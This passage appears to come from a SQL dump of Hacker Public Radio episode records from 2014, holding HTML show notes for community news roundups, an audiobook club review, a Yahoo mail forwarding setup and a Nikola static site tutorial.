align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\">FiftyOneFifty</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1628</strong></td>\r\n	<td align=\"left\">2014-10-29</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1628\">OggCamp Interview with Peppertop Comics</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=287\">corenominal</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1629</strong></td>\r\n	<td align=\"left\">2014-10-30</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1629\">Banana Pi - First Impressions</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\">Mike Ray</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1630</strong></td>\r\n	<td align=\"left\">2014-10-31</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1630\">Bare Metal Programming on the Raspberry Pi (Part 2)</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\">Gabriel Evenfire</a></td>\r\n	</tr>\r\n    </tbody>\r\n</table>\r\n\r\n<h2>Comments this month</h2>\r\n\r\n<p>There are 26 comments:</p>\r\n<ul> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1629\">hpr1629</a></strong>\r\n(2014-10-30) \"<em>Banana Pi - First Impressions</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\">Mike Ray</a>.\r\n<ol>\r\n<li>Mike Ray on 2014-10-29:\"Clarification on my email address, nasty tts\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1622\">hpr1622</a></strong>\r\n(2014-10-21) \"<em>An interview with Michael Tiemann</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=280\">semioticrobotic</a>.\r\n<ol>\r\n<li>mysterio2 on 2014-10-21:\"Excellent interview.\"</li>\r\n<li>Kevin O\'Brien on 2014-10-21:\"Great interview!\"</li>\r\n<li>semioticrobotic on 2014-10-22:\"Thank you!\"</li>\r\n<li>pokey on 2014-10-23:\"Awesome!\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1620\">hpr1620</a></strong>\r\n(2014-10-17) \"<em>Passwords, Entropy, and Good Password Practices</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a>.\r\n<ol>\r\n<li>cybergrue on 2014-10-17:\"Dangerous advice\"</li>\r\n<li>John on 2014-10-17:\"[no title]\"</li>\r\n<li>Kevin O\'Brien on 2014-10-21:\"Please do a show\"</li>\r\n<li>Ken Fallon on 2014-10-21:\"Very good show but 2 comments\"</li>\r\n<li>Kevin O\'Brien on 2014-10-22:\"Yes and ...\"</li>\r\n<li>pokey on 2014-10-23:\"Another Excellent episode\"</li>\r\n<li>Ken Fallon on 2014-10-24:\"NO!!!\"</li>\r\n<li>Mike Ray on 2014-10-30:\"Pasting passwords?\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1619\">hpr1619</a></strong>\r\n(2014-10-16) \"<em>Bare Metal Programming on the Raspberry Pi (Part 1)</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\">Gabriel Evenfire</a>.\r\n<ol>\r\n<li>Mike Ray on 2014-10-17:\"Excellent show\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1617\">hpr1617</a></strong>\r\n(2014-10-14) \"<em>Spaceteam</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=288\">beni</a>.\r\n<ol>\r\n<li>pokey on 2014-10-21:\"Fun game\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1616\">hpr1616</a></strong>\r\n(2014-10-13) \"<em>Howto Use Webfonts</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a>.\r\n<ol>\r\n<li>johanv on 2014-10-14:\"Do you have a blog post about this?\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1612\">hpr1612</a></strong>\r\n(2014-10-07) \"<em>Don\'t Forget the Referbs</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\">NYbill</a>.\r\n<ol>\r\n<li>corenominal on 2014-10-07:\"From another X61 user\"</li>\r\n<li>NYbill on 2014-10-08:\"[no title]\"</li>\r\n<li>pokey on 2014-10-22:\"Great episode\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1606\">hpr1606</a></strong>\r\n(2014-09-29) \"<em>Howto VNC</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a>.\r\n<ol>\r\n<li>Ken Fallon on 2014-10-05:\"VNC is not secure\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1597\">hpr1597</a></strong>\r\n(2014-09-16) \"<em>Extravehicular Activity</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=284\">Steve Smethurst</a>.\r\n<ol>\r\n<li>noName on 2014-10-11:\"[no title]\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/comments/admin/comment.php?do=e&c=364904\">hpr1596</a></strong>\r\n(2014-09-15) \"<em>About the Word \"Hack\"</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a>.\r\n<ol>\r\n<li>Gabriel Evenfire on 2014-10-17:\"[no title]\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1569\">hpr1569</a></strong>\r\n(2014-08-07) \"<em>Many-to-many data relationship howto</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\">Mike Ray</a>.\r\n<ol>\r\n<li>Mike Ray on 2014-10-07:\"@Borgu\"</li>\r\n<li>Ken Fallon on 2014-10-08:\"Noooooo\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1536\">hpr1536</a></strong>\r\n(2014-06-23) \"<em>The 150-in-1 Electronic Project Kit</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=252\">Curtis Adkins (CPrompt^)</a>.\r\n<ol>\r\n<li>plan9fan on 2014-10-20:\"[no title]\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1434\">hpr1434</a></strong>\r\n(2014-01-30) \"<em>Why I made an account free android </em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=273\">ToeJet</a>.\r\n<ol>\r\n<li>ToeJet on 2014-10-17:\"Couldn\'t root.\"</li></ol>\r\n</li>\r\n</ul>\r\n\r\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1551,'2014-07-14','Bitcoin Mining',510,'This is a short summary of what steps I took to get a set and forget bitcoin mining station going','<p>\r\nThis is a short summary of what steps I took to get a set and forget bitcoin mining station going. Using a asicminer cube eruptor and an odroid u2.\r\n</p>\r\n',281,0,0,'CC-BY-SA','bitcoin,bitcoin mining,ASICMiner Block Erupter Cube,odroid u2',0,1383,1),
(1586,'2014-09-01','HPR Community News for August 2014',4346,'Dave and Ken review the happenings for the month.','<h2>New hosts</h2>\n <p>Welcome to our new hosts:<br /><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=283\">Inscius</a>.</p>\n <h2>Last Month\'s Shows</h2>\n <table>\n  <thead>\n   <tr>\n    <th>Id</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n   </tr>\n  </thead>\n  <tbody>\n   <tr>\n    <td><strong>1565</strong></td>\n    <td>2014-08-01</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1565\">34 - LibreOffice Calc - More on Chart Editing</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\n   </tr>\n   <tr>\n    <td><strong>1566</strong></td>\n    <td>2014-08-04</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1566\">HPR Community News for July 2014</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR Volunteers</a></td>\n   </tr>\n   <tr>\n    <td><strong>1567</strong></td>\n    <td>2014-08-05</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1567\">Multiboot Partitioning with Linux</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=255\">Matt McGraw (g33kdad)</a></td>\n   </tr>\n   <tr>\n    <td><strong>1568</strong></td>\n    <td>2014-08-06</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1568\">Blather Speech Recognition for Linux</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\">Jon Kulp</a></td>\n   </tr>\n   <tr>\n    <td><strong>1569</strong></td>\n    <td>2014-08-07</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1569\">Many-to-many data relationship howto</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\">Mike Ray</a></td>\n   </tr>\n   <tr>\n    <td><strong>1570</strong></td>\n    <td>2014-08-08</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1570\">The JFS File System</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\">JWP</a></td>\n   </tr>\n   <tr>\n    <td><strong>1571</strong></td>\n    <td>2014-08-11</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1571\">Yahoo Mail Forwarder</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=273\">ToeJet</a></td>\n   </tr>\n   <tr>\n    <td><strong>1572</strong></td>\n    <td>2014-08-12</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1572\">An Open Source News Break from Opensource.com</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=280\">semioticrobotic</a></td>\n   </tr>\n   <tr>\n    <td><strong>1573</strong></td>\n    <td>2014-08-13</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1573\">Make your own t-shirt with bleach</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=110\">Quvmoh</a></td>\n   </tr>\n   <tr>\n    <td><strong>1574</strong></td>\n    <td>2014-08-14</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1574\">Arts and Bots</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a></td>\n   </tr>\n   <tr>\n    <td><strong>1575</strong></td>\n    <td>2014-08-15</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1575\">35 - LibreOffice Calc - Introduction to Functions</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\n   </tr>\n   <tr>\n    <td><strong>1576</strong></td>\n    <td>2014-08-18</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1576\">How I got into Linux</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=283\">Inscius</a></td>\n   </tr>\n   <tr>\n    <td><strong>1577</strong></td>\n    <td>2014-08-19</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1577\">Introducing Nikola the Static Web Site and Blog Generator</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=137\">guitarman</a></td>\n   </tr>\n   <tr>\n    <td><strong>1578</strong></td>\n    <td>2014-08-20</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1578\">AudioBookClub-08-How to Succeed in Evil:The Novel</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\">HPR_AudioBookClub</a></td>\n   </tr>\n   <tr>\n    <td><strong>1579</strong></td>\n    <td>2014-08-21</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1579\">Crowd Sourced Air Quality Monitoring</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a></td>\n   </tr>\n   <tr>\n    <td><strong>1580</strong></td>\n    <td>2014-08-22</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1580\">The fast and ntfs File System</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\">JWP</a></td>\n   </tr>\n   <tr>\n    <td><strong>1581</strong></td>\n    <td>2014-08-25</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1581\">Sensible Security: The Schneier Model</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\n   </tr>\n   <tr>\n    <td><strong>1582</strong></td>\n    <td>2014-08-26</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1582\">An Open Source News Break from Opensource.com</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=280\">semioticrobotic</a></td>\n   </tr>\n   <tr>\n    <td><strong>1583</strong></td>\n    <td>2014-08-27</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1583\">Podcast Generator</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=191\">AukonDK</a></td>\n   </tr>\n   <tr>\n    <td><strong>1584</strong></td>\n    <td>2014-08-28</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1584\">An interview with Josh Knapp from AnHonestHost.com</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a></td>\n   </tr>\n   <tr>\n    <td><strong>1585</strong></td>\n    <td>2014-08-29</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=1585\">36 - LibreOffice Calc - Financial Functions - Loan Payments</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\n   </tr>\n  </tbody>\n </table>\n <h2>Comments this month</h2>\n <p>There are 17 comments:</p>\n <ul>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1577\">hpr1577</a></strong> (2014-08-19) \"<em>Introducing Nikola the Static Web Site and Blog Generator</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=137\">guitarman</a>. <ol>\n    <li>x1101 on 2014-08-21: \"Thanks!\"</li>\n    <li>guitarman on 2014-08-23: \"Cool\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1570\">hpr1570</a></strong> (2014-08-08) \"<em>The JFS File System</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\">JWP</a>. <ol>\n    <li>Klaatu on 2014-08-11: \"JFS works for me.\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1569\">hpr1569</a></strong> (2014-08-07) \"<em>Many-to-many data relationship howto</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\">Mike Ray</a>. <ol>\n    <li>Dave Morriss on 2014-08-08: \"Thanks for an impressive show\"</li>\n    <li>Mike Ray on 2014-08-10: \"Hope it wasn\'t too long and technical\"</li>\n    <li>Ken Fallon on 2014-08-11: \"Brilliant episode but I\'m still not convinced\"</li>\n    <li>Mike Ray on 2014-08-11: \"Scalability\"</li>\n    <li>Ken Fallon on 2014-08-16: \"Scalability is not an issue.\"</li>\n    <li>Mike Ray on 2014-08-16: \"Scalability\"</li>\n    <li>Ken Fallon on 2014-08-19: \"Straw Man Argument\"</li>\n    <li>Mike Ray on 2014-08-21: \"New host name\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1568\">hpr1568</a></strong> (2014-08-06) \"<em>Blather Speech Recognition for Linux</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\">Jon Kulp</a>. <ol>\n    <li>klaatu on 2014-08-11: \"Amazing!\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1566\">hpr1566</a></strong> (2014-08-04) \"<em>HPR Community News for July 2014</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR Volunteers</a>. <ol>\n    <li>Steve Bickle on 2014-08-05: \"How /etc is pronounced\"</li>\n    <li>Dave Morriss on 2014-08-07: \"Et cetera, and so forth\"</li>\n    <li>Mike Ray on 2014-08-08: \"/etc blah blah\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1554\">hpr1554</a></strong> (2014-07-17) \"<em>07 - The Crown Conspiracy</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\">HPR_AudioBookClub</a>. <ol>\n    <li>brijwhiz on 2014-08-03: \"Journey comments and next book podcast\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1199\">hpr1199</a></strong> (2013-03-07) \"<em>Old Time Radio on the web</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\">Frank Bell</a>. <ol>\n    <li>Mike Ray on 2014-08-08: \"OTR\"</li>\n   </ol>\n  </li>\n </ul>\n <h3>Apologies</h3>\n <ul>\n  <li>guitarman for messing up attribution, and the shownotes</li>\n  <li>semioticrobotic for mixing up his shows</li>\n </ul>',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1552,'2014-07-15','An Open Source News Break from Opensource.com',267,'An interview with Mark Johnson of OSS Watch, Open Source Seed Initiative, and more','<p>In this episode: An interview with Mark Johnson of OSS Watch, the Open Source Seed Initiative, and a video game that asks to be hacked.</p>\n <p>Links:</p>\n <ul>\n  <li><a href=\"https://opensource.com/community/14/5/community-spotlight-mark-johnson-osswatch\">https://opensource.com/community/14/5/community-spotlight-mark-johnson-osswatch</a></li>\n  <li><a href=\"https://opensource.com/law/14/5/legal-issues-open-source-seed-initiative\">https://opensource.com/law/14/5/legal-issues-open-source-seed-initiative</a></li>\n  <li><a href=\"https://opensource.com/life/14/5/hack-n-slash\">https://opensource.com/life/14/5/hack-n-slash</a></li>\n </ul>',280,28,0,'CC-BY-SA','newscast,Opensource.com',0,1305,1),
(1553,'2014-07-16','TuxJam 33.333 - How we got into Linux ',4077,'Kevie and Andrew release TuxJam episode 33 1/3 as an exclusive to HPR on how they got into Linux','<p>Kevie and Andrew release TuxJam episode thirty three and a third as an exclusive to HPR on how they got into Linux, interspersed with a few Creative Commons licensed tunes. The story begins in the mid-1990s and some credit is given to a Microsoft product. At no point do they put on terrible Irish accents and discuss the spelling of whisk(e)y*. If you like what you hear then you might like to listen to other TuxJam episodes here: <a href=\"https://unseenstudio.co.uk/category/tuxjam-ogg/\">https://unseenstudio.co.uk/category/tuxjam-ogg/</a><br /><em>* This may not be entirely true.</em></p>',268,29,0,'CC-BY-SA','FOSS,software,creative commons,music',0,1362,1),
(1554,'2014-07-17','07 - The Crown Conspiracy',4548,'The Crown Conspiracy gets thumbs up from the HPR Audiobook Club ','<p>\r\nSPECIAL ANNOUNCEMENT HPR_AudioBookClub SNEAK PREVIEW!!! \r\nSometime in the not-too-distant future we\'ll be reviewing Street Candles by HPR\'s very own David Collins Rivera (aka Lostinbronx). Street Candles is not finished yet, but is available via RSS and Lostinbronx publishes a new episode each week. This book is excellent, and you\'ll want to say you were there to see it happen. Head over to LNB\'s site for all the details <a href=\"https://www.cavalcadeaudio.com/\">https://www.cavalcadeaudio.com/</a> and remember to subscribe to his RSS feed:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.cavalcadeaudio.com/rss/rss.stardri.ogg.xml\">https://www.cavalcadeaudio.com/rss/rss.stardri.ogg.xml</a>\r\n</li>\r\n<li><a href=\"https://www.cavalcadeaudio.com/rss/rss.stardri.mp3.xml\">https://www.cavalcadeaudio.com/rss/rss.stardri.mp3.xml</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nIn this episode, the HPR_AudioBookClub reviews The Crown Conspiracy by Michael J. Sullivan. This book received thumbs up from all of this month\'s participants. You can download this audiobook for free (or voluntary donation) from <a href=\"https://podiobooks.com/title/the-crown-conspiracy/\">https://podiobooks.com/title/the-crown-conspiracy/</a> and it\'s also available in paperback on Amazon: <a href=\"https://www.amazon.com/Crown-Conspiracy-Michael-J-Sullivan/dp/0980003431\">https://www.amazon.com/Crown-Conspiracy-Michael-J-Sullivan/dp/0980003431</a> . You can find more content (including podcasts) from Michael J. Sullivan <a href=\"https://riyria.blogspot.com/\">https://riyria.blogspot.com/</a> Many of his books are also available in paper and ebook editions on amazon.com.\r\n</p>\r\n<p>\r\nAs usual, during this episode of the AudioBookClub the hosts have each reviewed a beverage of their choice.\r\nMorgellon drank a Bourbon and soda, but not during the show because he was driving. He recommends both Woodford Reserve <a href=\"https://www.woodfordreserve.com/\">https://www.woodfordreserve.com/</a> and Evan Williams Bourbons <a href=\"https://www.evanwilliams.com/\">https://www.evanwilliams.com/</a>\r\nx1101 drank Wild Turkey 101 proof Bourbon <a href=\"https://wildturkeybourbon.com/\">https://wildturkeybourbon.com/</a>\r\npokey drank a cup of Oolong tea. It was probably a little stale, but pokey is a knuckle dragger, so he didn\'t notice at all. <a href=\"https://www.foojoyteas.com/teabag.php\">https://www.foojoyteas.com/teabag.php</a> . This was the first time that pokey has reviewed an NA beverage for the AudioBookClub, so we apologize if the show has suffered because of it.\r\nThaj won the Non-Alcoholic division hands down with a glass of fresh squeezed lemonade.\r\nColin couldn\'t make it to this recording because of time zone differences, but he did write in. I\'ll add his note to the episode comments. Please add your own comment as well. His beverage however was an Innis and Gunn Original <a href=\"https://www.innisandgunn.com/the-range/core-range/original/\">https://www.innisandgunn.com/the-range/core-range/original/</a> to which he gives his thumb up.\r\n</p>\r\n<p>\r\nOur next audiobook will be How to Succeed in Evil: The Novel by Patrick E. McLean <a href=\"https://podiobooks.com/title/how-to-succeed-in-evil-the-novel/\">https://podiobooks.com/title/how-to-succeed-in-evil-the-novel/</a>\r\n(not to be confused with How To Succeed in Evil: The Original Podcast Episodes by Patrick E. McLean)\r\nThis book was suggested by Morgellon. Our next book club recording will be 2014/06/10T23:00:00+00:00 (<a href=\"https://en.wikipedia.org/wiki/ISO_8601#Times\">https://en.wikipedia.org/wiki/ISO_8601#Times</a>)\r\n</p>\r\n<p>\r\nThere are several ways to submit feedback for this episode including the HPR mail list <a href=\"mailto:hpr@hackerpublicradio.org\">hpr@hackerpublicradio.org</a>, and the episode\'s comment section\r\nMorgellon is reachable via twitter @lowtekmorgellon or email <a href=\"mailto:morgellon@gmail.com\">morgellon@gmail.com</a>\r\nx1101 can be reached via twitter @x1101, StatusNet @x1101/micro.fragdev.com and email <a href=\"mailto:x1101@gmx.com\">x1101@gmx.com</a>\r\nThaj can be reached by email <a href=\"mailto:thajasara@gmail.com\">thajasara@gmail.com</a>\r\npokey prefers his feedback to come via the HackerPublicRadio comment system, but is also usually available on StatusNet @pokey/micro.fragdev.com\r\n</p>\r\n<p>\r\nPlease remember to visit the HPR contribution page. We could really use your help right now. <a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a>\r\n</p>\r\n<p>\r\nWe had a great time recording this show, and we hope you enjoyed it as well. We hope you\'ll consider joining us next time. Thank you very much for listening.\r\n</p>\r\n<p>\r\nSincerely,\r\nThe HPR_AudioBookClub\r\n</p>\r\n<p>\r\nP.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.\r\n</p>',157,53,1,'CC-BY-SA','HPR AudioBookClub,The Crown Conspiracy',0,1305,1),
(1602,'2014-09-23','An Open Source News Break from Opensource.com',1069,'Data-driven journalism, open source password management, and open electronics','<p>\r\nIn this episode: Data-driven journalism with Journalism++, open source password management, and open electronics with Spark.\r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://opensource.com/life/14/7/open-data-living-hype-one-data-journalist-weighs\">https://opensource.com/life/14/7/open-data-living-hype-one-data-journalist-weighs</a>\r\n</li>\r\n<li><a href=\"https://opensource.com/life/14/7/managing-passwords-open-source-way\">https://opensource.com/life/14/7/managing-passwords-open-source-way</a>\r\n</li>\r\n<li><a href=\"https://opensource.com/life/14/7/interview-zach-supalla-spark\">https://opensource.com/life/14/7/interview-zach-supalla-spark</a>\r\n</li>\r\n</ul>\r\n',280,28,0,'CC-BY-SA','data journalism,password management,Spark Core',0,0,1),
(1571,'2014-08-11','Yahoo Mail Forwarder',624,'Build, configure and deploy a self maintaining Yahoo mail forwarding virtual client.','<p>\r\nBuild, configure and deploy a self maintaining Yahoo mail forwarding virtual client.\r\n<br />\r\nNeeded\r\n</p>\r\n<ul>\r\n<li>VirtualBox</li>\r\n<li>Fedora 20 LXDE/32Bit iso file.</li>\r\n<li>Virtual Hosting Server (currently using VirtualBox, phpVirtualBox with a Centos6 host).</li>\r\n<li>Yahoo Account</li>\r\n<li>IMAP capable email account for delivery.</li>\r\n</ul>\r\n<p>\r\nSince it will be virtual, isolated, single purpose machine,  Security is minimal.\r\n</p>\r\n<p>\r\nStep by step instuctions at <a href=\"https://james.toebesacademy.com/YahooMailForwarder.html\">https://james.toebesacademy.com/YahooMailForwarder.html</a>\r\n<ol>\r\n<li>Build VM</li>\r\n<li>Configure Applications and AutoStart</li>\r\n<li>Configure Mail Forwarding</li>\r\n<li>Configure Automatic Maintenance</li>\r\n<li>Test</li>\r\n<li>Deploy to Virtual Server.</li>\r\n</ol>\r\n<h3>Known Issues:</h3>\r\n<p>\r\nOccasionally bulk forwards spam folder....\r\n</p>\r\n<p>\r\nLet me know your thoughts and if you want to hear more about my home server configuration.\r\n</p>\r\n',273,0,0,'CC-BY-SA','email,IMAP,Thunderbird',0,0,1),
(1573,'2014-08-13','Make your own t-shirt with bleach',298,'Making T-shirts with bleach and freezer paper','<p>\r\nMaking T-shirts with bleach and freezer paper\r\n</p>\r\n\r\n<h2>links</h2>\r\n\r\n\r\n<ul>\r\n<li>Tutorial in pictures: <a href=\"https://imgur.com/a/ELB7g\">https://imgur.com/a/ELB7g</a>\r\n</li>\r\n<li>bleachshirts: <a href=\"https://www.reddit.com/r/bleachshirts/\">https://www.reddit.com/r/bleachshirts/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nbe sure to check out side bar at /r/bleachshirts for more tutorials\r\n</p>',110,0,0,'CC-BY-SA','t-shirt,bleach',0,0,1),
(1577,'2014-08-19','Introducing Nikola the Static Web Site and Blog Generator',936,'I explain how to use the Nikola Static Web Site and Blog Generator to make a simple site with a page','<p>Nikola - The Static Web Site and Blog Generator - <a href=\"https://getnikola.com\">https://getnikola.com</a></p>\n <p><strong>Note:</strong> Please see developer notes below</p>\n <p>What is it? A Static Website and Blog Generator based on Python.<br /> What is a Static Website Generator? It generates posts and pages via commands. You edit those posts and pages in a text editor, then run a command to build the site, and finally, deploy/upload the generated html etc files to your webhost.<br /> That sounds kinda old school are you sure thats web 3.0? Its old and new school. Nikola gives you CMS like features without the overhead of the database server and page rendering engine.<br /> How can I install it? Use PIP and follow the handbook on the getnikola.com website. NOTE: Python 2.6 or newer or Python 3.3 or newer is required</p><pre>\nsudo pip install nikola\nsudo pip install nikola[extras]\n</pre><p>You should be good to go if you can enter nikola help in a terminal and get a list of nikola commands.<br /> Lets create our skeleton website:</p><pre>\nnikola init mysite \n</pre><p>You will need to answer some questions now (NOTE a directory to cd into called mysite will be created if you issue mysite.. You should enter your domain name instead - mysite is just an example).<br /> The questions it asks will help populate the conf.py file in the mysite directory.</p><pre>\nSite Title: \nSite Author:\nSite Author Email:\nSite Description:\nSite URL:\nLanguages to support: (default en)\nTime zone: \nWhich comments system to use:\n</pre><p>Once complete your site will be created and in the directory you named the site as - in my case, mysite.<br /> cd into that and take a look at the files with ls.<br /> you will have:</p>\n <ul>\n  <li>conf.py - your configuration file</li>\n  <li>files - where you will place images etc and reference them in blog posts and pages</li>\n  <li>galleries - where you can serve up images in a gallery</li>\n  <li>posts - where your blog posts go</li>\n  <li>stories - where your pages go</li>\n </ul>\n <p>Lets create a blog post.</p><pre>\nnikola new_post\n</pre><p>Type in the title of your blog post and hit enter. I will use foobar in this example<br /> It will report the new post is in posts/foobar.rst<br /> fire up your text editor and edit that file.</p>\n <p>There is a header area at the top of the file - most of it is already filled in and you wont need to change it but you should add a Tag because you can see posts by Tag once the site is generated and it gives your readers a way to find all items on that subject. These are separated by commas so enter as many or few as you like. Enter a Description in the Description area.<br /> Now move into the Write your post here area and go to town - erase that or it shows up in your post.<br /> You should read the page on ReStructuredText here: <a href=\"https://getnikola.com/quickstart.html\">https://getnikola.com/quickstart.html</a> but also just look at the source by clicking \'Source\' on the getnikola website and you can see the markup they used. Some basics are</p><pre>\n*word*\n</pre> for italics, <pre>\n**word**\n</pre> for bold, a single * space item for bullet points and for hyperlinks <pre>\n`Tree Brewing Co: &lt;https://treebeer.com/&gt;`_.\n</pre> a Tree Brewing Co hyperlink which will bring you when clicked to treebeer.com. Lastly issue: <pre>\n.. image:: /files/imagefilename.jpg\n</pre> to point to an image file that you have placed into the files directory.<br /> Ok lets say you are done your post, save it and exit. Lets now build your site and fire up the built in webserver to display it. <pre>\nnikola build\nnikola serve -b\n</pre><p>Your default web browser will launch and you will see 